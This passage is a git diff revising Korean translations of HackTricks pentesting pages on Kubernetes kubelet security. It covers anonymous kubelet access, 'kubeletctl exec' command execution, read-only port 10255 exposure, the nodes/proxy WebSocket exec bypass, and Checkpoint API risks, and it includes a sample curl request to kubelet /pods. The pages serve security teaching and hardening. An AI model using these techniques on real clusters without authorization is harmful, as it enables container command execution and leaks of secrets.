https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/' @@ -183,7 +193,7 @@ Path("/runningpods/"). ``` 모두 흥미롭게 들립니다. -[**Kubeletctl**](https://github.com/cyberark/kubeletctl) 도구를 사용하여 Kubelets 및 해당 endpoints와 상호작용할 수 있습니다. +[**Kubeletctl**](https://github.com/cyberark/kubeletctl) 도구를 사용하여 Kubelet과 해당 endpoints와 상호작용할 수 있습니다. #### /pods @@ -193,18 +203,18 @@ kubeletctl pods ``` #### /exec -이 엔드포인트는 어떤 container 안에서도 code를 매우 쉽게 execute할 수 있게 해줍니다: +이 엔드포인트는 어떤 컨테이너 안에서든 코드를 매우 쉽게 실행할 수 있게 해준다: ```bash kubeletctl exec [command] ``` > [!NOTE] -> 이 공격을 피하려면 _**kubelet**_ 서비스는 `--anonymous-auth false`로 실행해야 하며, 서비스는 네트워크 수준에서 분리되어야 합니다. +> 이 공격을 피하려면 _**kubelet**_ 서비스가 `--anonymous-auth false`로 실행되어야 하며, 서비스는 네트워크 수준에서 분리되어야 합니다. -### **Kubelet (Read Only Port) 정보 노출 확인** +### **Checking Kubelet (Read Only Port) Information Exposure** -**kubelet read-only port**가 노출되면, 권한이 없는 사용자가 API에서 정보를 가져올 수 있게 됩니다. 이 포트의 노출은 다양한 **cluster configuration elements**의 유출로 이어질 수 있습니다. **pod 이름, 내부 파일의 위치, 기타 설정**을 포함한 정보가 반드시 치명적이지는 않더라도, 노출 자체가 보안 위험을 초래하므로 피해야 합니다. +**kubelet read-only port**가 노출되면, 권한이 없는 사용자가 API에서 정보를 가져올 수 있게 됩니다. 이 포트의 노출은 다양한 **cluster configuration elements**의 유출로 이어질 수 있습니다. **pod names, internal files의 위치, 기타 configuration**을 포함한 정보가 치명적이지 않더라도, 노출 자체는 보안 위험이므로 피해야 합니다. -이 취약점이 어떻게 악용될 수 있는지의 예로는, 원격 공격자가 특정 URL에 접근하는 경우가 있습니다. `http://:10255/pods`로 이동하면 공격자는 kubelet에서 민감한 정보를 가져올 수 있습니다: +이 취약점이 악용되는 예로는 원격 공격자가 특정 URL에 접근하는 경우가 있습니다. `http://:10255/pods`로 이동하면 공격자는 kubelet에서 민감한 정보를 가져올 수 있습니다: ![Kubelet read-only port response exposing pod information](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png) diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index b2faca669..89a925d81 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,25 +1,25 @@ -# Kubelet 인증 및 권한 부여 +# Kubelet Authentication & Authorization {{#include ../../../banners/hacktricks-training.md}} -## Kubelet 인증 +## Kubelet Authentication -[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**문서에서:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -기본적으로, 다른 구성된 인증 방법들에 의해 거부되지 않는 kubelet의 HTTPS 엔드포인트로의 요청은 익명 요청으로 처리되며, **username of `system:anonymous`** 및 **group of `system:unauthenticated`** 가 부여됩니다. +기본적으로, 다른 구성된 인증 방법에 의해 거부되지 않은 kubelet의 HTTPS endpoint에 대한 요청은 anonymous 요청으로 처리되며, **username `system:anonymous`** 및 **group `system:unauthenticated`**가 부여됩니다. -인증 **방법**은 총 **3**가지입니다: +**3**개의 인증 **methods**는 다음과 같습니다: -- **Anonymous** (기본값): 파라미터 **`--anonymous-auth=true`** 또는 구성에서 설정: +- **Anonymous** (default): 매개변수 **`--anonymous-auth=true`** 또는 config를 사용하여 설정합니다: ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: 이는 kubectl **API bearer tokens**를 인증 수단으로 **활성화**합니다 (유효한 토큰이라면 모두 허용됩니다). 허용하려면: -- API 서버에서 `authentication.k8s.io/v1beta1` API 그룹이 활성화되어 있는지 확인하십시오 -- kubelet을 **`--authentication-token-webhook`** 및 **`--kubeconfig`** 플래그로 시작하거나 다음 설정을 사용하십시오: +- **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). 다음으로 허용하세요: +- ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server +- start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting: ```json "authentication": { "webhook": { @@ -28,11 +28,11 @@ }, ``` > [!NOTE] -> kubelet는 구성된 API 서버에서 **`TokenReview` API**를 호출하여 bearer tokens로부터 **사용자 정보를 파악합니다** +> kubelet은 설정된 API server에 대해 **`TokenReview` API**를 호출하여 bearer tokens에서 **user information**을 **determine**합니다 -- **X509 client certificates:** X509 클라이언트 인증서를 통해 인증할 수 있습니다 -- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details -- kubelet을 `--client-ca-file` 플래그로 시작하여 클라이언트 인증서를 검증할 CA 번들을 제공합니다. 또는 다음 설정으로: +- **X509 client certificates:** X509 client certs를 통해 authenticate할 수 있도록 허용 +- 자세한 내용은 [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs)을 참조하세요 +- `--client-ca-file` flag와 함께 kubelet을 시작하고, client certificates를 verify하는 데 사용할 CA bundle을 제공하세요. 또는 config를 사용하세요: ```json "authentication": { "x509": { @@ -40,16 +40,16 @@ } } ``` -## Kubelet 권한 +## Kubelet Authorization -성공적으로 인증된 모든 요청(익명 요청 포함)은 **권한이 부여됩니다**. 기본 **권한 부여 모드**는 **`AlwaysAllow`**로, 이는 **모든 요청을 허용합니다**. +성공적으로 인증된 모든 요청(anonymous request 포함)은 **그다음 authorize**됩니다. **default** authorization mode는 **`AlwaysAllow`**이며, 이는 **모든 requests를 허용**합니다. -하지만 다른 가능한 값은 **`webhook`**입니다(실제로 **대부분 이 값을 보게 될 것입니다**). 이 모드는 **인증된 사용자의 권한을 검사**하여 작업을 허용하거나 거부합니다. +하지만 다른 가능한 값은 **`webhook`**입니다(이는 **대부분 실제로 발견하게 되는** 값입니다). 이 mode는 action을 허용하거나 거부하기 위해 **authenticated user의 permissions를 확인**합니다. > [!WARNING] -> 설사 **익명 인증**이 활성화되어 있더라도, **익명 접근**은 어떤 작업도 **수행할 권한이 없을 수 있습니다**. +> **anonymous authentication이 enabled**되어 있더라도 **anonymous access**는 어떤 action도 수행할 **permissions가 없을 수 있음**에 유의하세요. -Webhook을 통한 권한 부여는 **param `--authorization-mode=Webhook`**을 사용하거나 구성 파일을 통해 다음과 같이 설정할 수 있습니다: +webhook을 통한 authorization은 **param `--authorization-mode=Webhook`**을 사용하거나 config file을 통해 다음과 같이 설정할 수 있습니다: ```json "authorization": { "mode": "Webhook", @@ -59,29 +59,21 @@ Webhook을 통한 권한 부여는 **param `--authorization-mode=Webhook`**을 } }, ``` -The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.** +The kubelet는 각 요청이 **인가되었는지** **결정**하기 위해 설정된 API server에서 **`SubjectAccessReview`** API를 호출합니다. -kubelet은 구성된 API 서버에서 **`SubjectAccessReview`** API를 호출하여 각 요청에 대해 **권한이 있는지** **판단**합니다. - -The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver: - -kubelet은 apiserver와 동일한 [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 방식을 사용하여 API 요청을 인가합니다: +kubelet은 apiserver와 동일한 [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) 방식을 사용해 API 요청을 인가합니다: - **Action** -- **동작** - | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | | GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (for individual resources), deletecollection (for collections) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path: - -- Kubelet API와 통신하는 **resource**는 항상 **nodes**이며, **subresource**는 들어오는 요청의 경로에서 **결정**됩니다: +- Kubelet api에 접속하는 **resource**는 **항상** **nodes**이고, **subresource**는 들어오는 request의 path로 **결정**됩니다: | Kubelet API | resource | subresource | | ------------ | -------- | ----------- | @@ -89,28 +81,38 @@ kubelet은 apiserver와 동일한 [request attributes](https://kubernetes.io/doc | /metrics/\* | nodes | metrics | | /logs/\* | nodes | log | | /spec/\* | nodes | spec | +| /checkpoint/\* | nodes | checkpoint | | _all others_ | nodes | proxy | -> [!NOTE] -> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details. +modern clusters에서는 fine-grained kubelet authorization가 기본으로 활성화되어 있습니다. Kubernetes v1.36에서 이 기능이 stable이 되었고, kubelet은 backward compatibility를 위해 `nodes/proxy`로 fallback하기 전에 `/pods`, `/runningPods`, `/healthz`, `/configz` 같은 path에 대해 더 specific한 subresources를 먼저 확인합니다. + +| Kubelet API | preferred subresource | fallback | +| ----------- | --------------------- | -------- | +| /pods | nodes/pods | nodes/proxy | +| /runningPods/ | nodes/pods | nodes/proxy | +| /healthz | nodes/healthz | nodes/proxy | +| /configz | nodes/configz | nodes/proxy | + +가능하면 monitoring과 diagnostics에는 이러한 더 좁은 subresources를 사용하세요. 일반적인 metrics, stats, health, pod-listing, 또는 config review에 대해 broad한 `nodes/proxy`를 부여하지 마세요. `nodes/proxy`는 여전히 더 영향이 큰 kubelet APIs를 포함합니다. > [!NOTE] -> WebSocket 기반의 `/exec`, `/run`, `/attach`, 및 `/portforward`는 기본 **proxy** subresource에 해당하며 초기 HTTP **GET** 핸드셰이크로 인가됩니다. `nodes/proxy` **GET** 권한만 있는 주체라도 WebSockets를 통해 `https://:10250`에 직접 연결하면 컨테이너를 exec할 수 있습니다. 자세한 내용은 [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion)를 참조하세요. +> WebSocket 기반 `/exec`, `/run`, `/attach`, `/portforward`는 기본 **proxy** subresource에 해당하며, 초기 HTTP **GET** handshake를 사용해 인가됩니다. `nodes/proxy`의 **GET**만 가진 principal도 `https://:10250`에 WebSockets로 직접 연결하면 containers를 exec할 수 있습니다. 자세한 내용은 [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion)를 보세요. -For example, the following request tried to access the pods info of kubelet without permission: +kubelet Checkpoint API (`POST /checkpoint///`)도 또 다른 민감한 kubelet surface입니다. Kubernetes v1.30에서 container checkpointing이 beta가 되었고 기본으로 활성화되었지만, 요청은 여전히 kubelet authorization과 CRI-O나 checkpoint/CRIU capability가 있는 containerd 같은 runtime 지원에 의존합니다. 성공한 checkpoints는 kubelet root directory 아래에, 기본적으로 `/var/lib/kubelet/checkpoints`에 기록되며, token, key, application secrets가 들어 있는 process memory를 포함할 수 있습니다. `nodes/checkpoint`를 제한하고, 오래된 read-only port를 비활성화하며, direct kubelet network reachability를 제한하고, 기능을 의도적으로 사용하는 경우 checkpoint archives를 모니터링하거나 정리하세요. -예를 들어, 다음 요청은 kubelet의 pods 정보를 권한 없이 접근하려고 시도했습니다: +예를 들어, 다음 request는 권한 없이 kubelet의 pods info에 접근을 시도했습니다: ```bash curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods' Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy) ``` -- 우리는 **Forbidden** 응답을 받았으므로 요청이 **passed the Authentication check**. 그렇지 않았다면 단순히 `Unauthorised` 메시지만 받았을 것이다. -- 우리는 **username**을 볼 수 있다(이 경우 token에서) -- **resource**가 **nodes**이고 **subresource**가 **proxy**였음을 확인하라(이는 앞의 정보와 일치한다) +- **Forbidden**를 받았으므로 요청은 **Authentication check**를 통과했습니다. 그렇지 않았다면 `Unauthorised` 메시지만 받았을 것입니다. +- **username**을 볼 수 있습니다(이 경우 token에서 가져옴) +- **resource**가 **nodes**이고 **subresource**가 **proxy**인 것을 확인하세요(이전 정보와도 잘 맞습니다) -## 참고자료 +## References - [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/) - [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) {{#include ../../../banners/hacktricks-training.md}}